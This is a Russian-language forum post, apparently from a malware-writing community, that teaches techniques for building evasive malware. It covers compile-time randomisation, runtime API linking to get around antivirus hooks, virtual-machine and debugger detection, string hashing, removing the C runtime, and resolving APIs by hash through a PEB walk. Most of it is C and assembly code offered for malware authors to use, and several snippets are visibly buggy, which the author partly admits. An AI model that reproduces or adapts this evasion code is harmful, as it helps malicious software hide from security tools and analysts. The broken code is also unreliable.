Мне неожиданно захотелось о чем-то написать, но все темы, которые пришли в голову требуют основательного ковыряния и расписывания, а я человек вспыльчивый и могу практически сразу бросить это дело. Решил расписать тут некоторые приемы из малварь-кодинга, которые я использую на практике. Да и не только я, но и многие другие люди. Pseudo Random Number Generator Константные значения это плохо (однако в них все же бывает необходимость), нельзя, чтоб у в вашем коде постоянно встречались одни и те же значения, поэтому имеет смысл имплементировать генератор псевдослучайных значений. Почему псевдослучайных? Потому что всякий PRNG с ограниченным числом ресурсов имеет свойство зацикливаться и повторять одну и ту же последовательность чисел. Это можно вывести как математически, так и логически, посмотрев на алгоритм генерации. Да, такие генераторы не будут панацеей, но все же помогут в запутывании. Классическим вариантом является использование предкомпилированного макросов __TIME__ и __LINE__ . Макрос __TIME__ расширяется в строку, получая время когда препроцессор был запущен. Макрос __LINE__ расширяется до номера текущей строки ввода в виде int. Вот так выглядит классическая имплементация алгоритма PRNG: #define PRNG_SEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \ (__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \ (__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000) + \ (__LINE__ * 100000) C #define PRNG_SEED ((__TIME__[7] - '0') * 1 + (__TIME__[6] - '0') * 10 + \ (__TIME__[4] - '0') * 60 + (__TIME__[3] - '0') * 600 + \ (__TIME__[1] - '0') * 3600 + (__TIME__[0] - '0') * 36000) + \ (__LINE__ * 100000) Что-нибудь специфичнее? Ну, у вас всегда под рукой есть ассемблерные вставочечки, вы можете колдовать ваш рандом с ними, вот один из таких: __asm { xor ah, ah int 1Ah rol cx, 8 xor dx, cx xor [prngNum], dx //Немножко энтропии } C __asm { xor ah, ah int 1Ah rol cx, 8 xor dx, cx xor [prngNum], dx //Немножко энтропии } Правда, стоит учитывать, что прерывание 1A также получает время системы, так что возможны коллизии у значений, поэтому добавляйте энтропию. Хочу сломать себе жизнь! У процессоров существуют свои собственные мнемоники, вызывающие аппаратный PRNG (ну или NRBG, но это другая история). А если конкретнее - RDRAND и RDSEED . Вы можете попробовать поработать с ними, однако я никогда не видел, чтоб они где-то использовались (кроме системных/аппаратных криптографических модулей). Runtime Linking Более подробно я расписывал это вот здесь. Идея заключается в том, чтоб "неявно" вызывать функции из системных динамических библиотек. Почему это необходимо? Потому что антивирусы умеют в хуки вызовов функций, а практически все функции из того же WinAPI вызывают под капотом функции из NTAPI и т.д (может быть когда-нибудь напишу об этом, если будет настроение). Таким образом мы можем немножечко "обойти" сканирование антивирусом на весьма интересные функции. Еще одним плюсом будет практически полное избавление от IAT (если мы отключаем CRT, об этом позже). Все сводится к обычной подгрузке dll и указателю на функцию: typedef int(__stdcall* Inner_MessageBoxW)(HWND hWnd, LPWSTR lpText, LPWSTR lpCaption, UINT uType); VOID APIENTRY Entry(VOID) { HMODULE hModule; Inner_MessageBoxW I_MessageBoxW; hModule = LoadLibrary(L"user32.dll"); if(hModule != NULL) { I_MessageBoxW = (Inner_MessageBoxW)GetProcAddress(hModule, L"MessageBoxW"); if(I_MessageBoxW != NULL) (I_MessageBoxW)(NULL, L"Called from user32.dll", L"Message", MB_OK); } else { DWORD dwErr = GetLastError(); ExitProcess(dwErr); } FreeModule(hModule); } C typedef int(__stdcall* Inner_MessageBoxW)(HWND hWnd, LPWSTR lpText, LPWSTR lpCaption, UINT uType); VOID APIENTRY Entry(VOID) { HMODULE hModule; Inner_MessageBoxW I_MessageBoxW; hModule = LoadLibrary(L"user32.dll"); if(hModule != NULL) { I_MessageBoxW = (Inner_MessageBoxW)GetProcAddress(hModule, L"MessageBoxW"); if(I_MessageBoxW != NULL) (I_MessageBoxW)(NULL, L"Called from user32.dll", L"Message", MB_OK); } else { DWORD dwErr = GetLastError(); ExitProcess(dwErr); } FreeModule(hModule); } Я иногда удивляюсь, что некоторые находят даже какие-то библиотеки для этого, но да ладно. Вашим д/з будет нагенерить темплейтов (если вы плюсовик) для функций с разным количеством аргументов, ведь так работать гораздо удобнее! Анти-эмуляция Странно, что в некоторых продуктах и этого нет. Анти-эмуляция заключается, очевидно, в обходе виртуальных машин, тут не будет что-то особенное, так что распишу несколько обычных методов такого кода. Проверка на специфические процессы Все просто, виртуальные машины запускают специфические процессы при полной инициализации системы. Мы можем получить снапшот всех процессов и пройтись по полученным процессам, найдя необходимые, к примеру: BOOL ProcessEnum() { HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); PROCESSENTRY32 Process; Process.dwSize = sizeof(PROCESSENTRY32); if(Process32First(Snapshot, &Process)) { while(Process32Next(Snapshot, &Process)) { if((!lstrcmp(Process.szExeFile, L"vmd3dservice.exe")) || (!lstrcmp(Process.szExeFile, L"VBoxService.exe"))) return TRUE; } } return FALSE; } C BOOL ProcessEnum() { HANDLE Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); PROCESSENTRY32 Process; Process.dwSize = sizeof(PROCESSENTRY32); if(Process32First(Snapshot, &Process)) { while(Process32Next(Snapshot, &Process)) { if((!lstrcmp(Process.szExeFile, L"vmd3dservice.exe")) || (!lstrcmp(Process.szExeFile, L"VBoxService.exe"))) return TRUE; } } return FALSE; } Hypervisor Тоже классический метод анти-эмуляции. Заключается в том, чтоб вызвать мнемонику CPUID со значением 40000000, тем самым получив "Vendor String" в регистры EAX, ECX и EDX. Работает для VMWare (получаем значения "VMwareVMware", ПК: "Microsoft HV"), для других гипервизоров не проверял, но по идее тоже должно работать: BOOL HypervisorDetect() { BOOL Result = FALSE; __asm { xor eax, eax mov eax, 0x40000000 cpuid cmp ecx, 0x4D566572 jne NopInstr cmp edx, 0x65726177 jne NopInstr mov Result, 0x1 NopInstr: nop } return Result; } C BOOL HypervisorDetect() { BOOL Result = FALSE; __asm { xor eax, eax mov eax, 0x40000000 cpuid cmp ecx, 0x4D566572 jne NopInstr cmp edx, 0x65726177 jne NopInstr mov Result, 0x1 NopInstr: nop } return Result; } BIOSVersion Гипервизоры имеют специфические значения у BIOS. Вы можете проверять значения BIOSVersion и SystemProductName в реестре. Значения находятся в HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SystemInformation . Можете порыться в реестре и написать собственный метод, тоже своеобразное д/з для вас. Что-то странное? Ладно-ладно, я наврал, что не будет чего-то здесь специфического. Существует такая вещь, как IDT (Таблица векторов прерываний). В чем идея? Идея заключается в сохранении таблицы через функцию __sidt получении 5 и 6 битов таблицы. В ВМ они не будут равны нулям, в отличии от физической машины: BOOL IDTRCheck() { unsigned char* _idtr[10]; memset(&_idtr, 0, sizeof(_idtr)); __sidt(&_idtr); if((_idtr[4] && _idtr[5]) != 0x00) { return TRUE; } return FALSE; } C BOOL IDTRCheck() { unsigned char* _idtr[10]; memset(&_idtr, 0, sizeof(_idtr)); __sidt(&_idtr); if((_idtr[4] && _idtr[5]) != 0x00) { return TRUE; } return FALSE; } P.S: на 7 винде существует баг в ядре, что будет выкидывать всегда FALSE, поэтому стоит сохранять таблицу прерываний полностью. Анти-отладка Ну, нечего тут рассказывать, на самом деле. Я вообще не понимаю в чем ее прикол, ведь я могу тупо все занопить, лол. Ну ладно, мне к примеру нравится работать с хардварными прерываниями, классический метод: BOOL IsHardwareBreakpointPresent(VOID) { BOOL bFlag = FALSE; PCONTEXT Context = NULL; Context = (PCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE); if (Context == NULL) return FALSE; //check GetLastError(); RtlZeroMemory(Context, sizeof(Context)); Context->ContextFlags = CONTEXT_DEBUG_REGISTERS; if (!GetThreadContext(GetCurrentThreadAlt(), Context)) goto EXIT_ROUTINE; if (Context->Dr0 || Context->Dr1 || Context->Dr2 || Context->Dr3) bFlag = TRUE; EXIT_ROUTINE: if(Context) VirtualFree(Context, 0, MEM_RELEASE); return bFlag; } C BOOL IsHardwareBreakpointPresent(VOID) { BOOL bFlag = FALSE; PCONTEXT Context = NULL; Context = (PCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE); if (Context == NULL) return FALSE; //check GetLastError(); RtlZeroMemory(Context, sizeof(Context)); Context->ContextFlags = CONTEXT_DEBUG_REGISTERS; if (!GetThreadContext(GetCurrentThreadAlt(), Context)) goto EXIT_ROUTINE; if (Context->Dr0 || Context->Dr1 || Context->Dr2 || Context->Dr3) bFlag = TRUE; EXIT_ROUTINE: if(Context) VirtualFree(Context, 0, MEM_RELEASE); return bFlag; } А еще можно флудить на куче, но лучше этого делать не стоит. Вот мой пример на FASM: format PE GUI entry entr section '.idata' import data readable writeable library kernel32, 'kernel32.dll', \ ntdll, 'ntdll.dll' import kernel32, \ GetProcessHeap, 'GetProcessHeap', \ ExitProcess, 'ExitProcess' import ntdll, \ RtlAllocHeap, 'RtlAllocateHeap' section '.data' data readable writeable buf db 256 dup (0) section '.code' executable readable writeable entr: invoke RtlAllocHeap, <invoke GetProcessHeap>, 0, 1024 mov ecx, [eax + 10] invoke ExitProcess, 0 Code format PE GUI entry entr section '.idata' import data readable writeable library kernel32, 'kernel32.dll', \ ntdll, 'ntdll.dll' import kernel32, \ GetProcessHeap, 'GetProcessHeap', \ ExitProcess, 'ExitProcess' import ntdll, \ RtlAllocHeap, 'RtlAllocateHeap' section '.data' data readable writeable buf db 256 dup (0) section '.code' executable readable writeable entr: invoke RtlAllocHeap, <invoke GetProcessHeap>, 0, 1024 mov ecx, [eax + 10] invoke ExitProcess, 0 Хеширование строк Не секрет, что открытые строки в малвари - плохо. Поэтому имеет смысл их шифровать. Здесь "хешировать" не подразумевается в "тянем SHA256/MD5/etc.", вполне себе активно используются легкопереносимые функции, такие как SDBM Hash или MurMurHash. Вот, к примеру алгоритм SDBM: unsigned int SDBMHash(char *str) { unsigned int hash = 0; while(*str++) hash = str + (hash << 6) + (hash << 16) - hash; return hash; } C unsigned int SDBMHash(char *str) { unsigned int hash = 0; while(*str++) hash = str + (hash << 6) + (hash << 16) - hash; return hash; } P.S: для того, чтоб считать хеши в "предкомпилированном" состоянии используется модификатор constexpr (C++11), в принципе, их всегда так и надо считать. No CRT Хороший продукт не содержит в себе статической линковки стандартной библиотеки. Это сказывается на оптимизации и в принципе работе продукта. Я расписывал это в теме создания клиппера от backdoortp. Так что мне придется процитировать себя, как бы это странно не звучало: На вашей совести я оставлю решение в отключении CRT, вот. Если вы боитесь, что вдруг вы не сможете жить без CRT, то их вполне можно реализовать самому, вот некоторые из них: [CODE=c]VOID __memset(VOID* dest, BYTE value, size_t count) { for(volatile int i = 0; i <= count; i++) { ((BYTE *)dest)[i] = value; } }[/CODE][CODE=c]VOID *__alloc(SIZE_T count) { LPVOID AllocatedData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, count + 64); if(AllocatedData == NULL) return ALLOC_ERR; return AllocatedData; }[/CODE][CODE=c]int _isalpha(char *c) { while(*c != '\0') { if(((*c >= 65) && (*c <= 90)) || ((*c >= 97) && (*c <= 122))) { return 1; } c++; } return 0; }[/CODE]Забавный факт: некоторые функции из WinAPI, например ZeroMemory() , вызывают под капотом CRT функции. Конкретно ZeroMemory() вызывает memset . Обфускация вызовов В более профессиональных продуктах присутствует обфускация вызовов функций. Этот пункт также можно объединить с пунктом "Хеширование строк". Идея заключается в парсинге таблицы импортов, поиске имен функций, их обфускации и подгрузке функций через хеш, если кратко. Конкретно здесь была допущена мной неловкая оплошность, вы можете найти метод сами (он мало чем отличается обычно), либо пофиксить её самостоятельно. code [CODE=c]HMODULE(__stdcall *tmp_LoadLibraryW)(LPCWSTR MODULE_NAME) = NULL; HMODULE hashed_LoadLibraryW(LPCWSTR MODULE_NAME) { return tmp_LoadLibraryW(MODULE_NAME); } LPVOID ParseExportTable(LPCWSTR Module, ULONG ApiHash) { PIMAGE_DOS_HEADER DosHeader; PIMAGE_NT_HEADERS NtHeaders; PIMAGE_EXPORT_DIRECTORY ExportDirectory; //заголовки DosHeader = (PIMAGE_DOS_HEADER)Module; NtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)DosHeader + DosHeader->e_lfanew); ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)DosHeader + NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); PDWORD RVAName; PWORD RVAOrdinal; //Импорт по ординалам! RVAName = (PDWORD)((DWORD_PTR)DosHeader + ExportDirectory->AddressOfNames); RVAOrdinal = (PWORD)((DWORD_PTR)DosHeader + ExportDirectory->AddressOfNameOrdinals); INT Ordinal = -1; WCHAR *ApiName = { 0 }; //Угадайте, по чему мы проходимся? for(DWORD i = 0; i < ExportDirectory->NumberOfNames - 1; i++) { ApiName = (PWCHAR)((DWORD_PTR)DosHeader + RVAName[i]); const UINT GetMyHash = UnknownHash(ApiName); if(ApiName == GetMyHash) { Ordinal = (UINT)RVAOrdinal; break; } } const ULONG AddressOfFunction = (PDWORD)((DWORD_PTR)DosHeader + ExportDirectory->AddressOfFunctions); const ULONG FunctionFound = (LPVOID)((DWORD_PTR)DosHeader + AddressOfFunction[(PUINT)Ordinal]); return FunctionFound; } LPVOID GetMyApi(LPCWSTR Module, ULONG ApiHash) { HMODULE krnl32, hDLL; LPVOID ApiFunction; //Получаем kernel32 #ifdef _WIN64 int ModuleList = 0x18; int ModuleListFlink = 0x18; int KernelBaseAddr = 0x10; INT_PTR PEB = __readgsqword(0x60); #else int ModuleList = 0x0C; int ModuleListFlink = 0x10; int KernelBaseAddr = 0x10; INT_PTR PEB = __readfsdword(0x30); #endif //Получаем адрес kernel32 INT_PTR ModList = *(INT_PTR *)(PEB + ModuleList); INT_PTR ListFlink = *(INT_PTR *)(PEB + ModuleListFlink); INT_PTR KrnlBase = *(INT_PTR *)(PEB + KernelBaseAddr); LDR_MODULE *LdrMod = (LDR_MODULE *)ListFlink; while(ListFlink != (INT_PTR)LdrMod) { LdrMod = (LDR_MODULE *)LdrMod->e[0].Flink; if(LdrMod->base != NULL) { if(!lstrcmpiW(LdrMod->dllname.Buffer, L"kernel32.dll")) { break; } } } //Подгружаем LoadLibraryW krnl32 = (HMODULE)LdrMod->base; const UINT ApiHash_LoadLibraryW = UnknownHash(L"LoadLibraryW"); tmp_LoadLibraryW = (HMODULE(__stdcall *)(LPCWSTR))ParseExportTable(krnl32, ApiHash_LoadLibraryW); hDLL = hashed_LoadLibraryW(Module); ApiFunction = (LPVOID)ParseExportTable(hDLL, ApiHash); return ApiFunction; }[/CODE] P.S: LdrMod [CODE=c]typedef struct _LDR_MODULE { LIST_ENTRY e[3]; HMODULE base; void *entry; UINT size; UNICODE_STRING dllPath; UNICODE_STRING dllname; } LDR_MODULE, *PLDR_MODULE;[/CODE]Заключение Это базовые приемы из мира малвари, так что по сути тут ничего нового нет и вы просто потратили несколько минут своей жизни в пустую, вот. Конечно, наверное стоило расписать о чем-нибудь еще более специфическом, но все, что я затронул, мне пришло в голову сразу, да и на практике это является наиболее распространенными "кусками кода". Все же надеюсь, что кому-то это будет полезно и вы подчеркнете что-нибудь новое.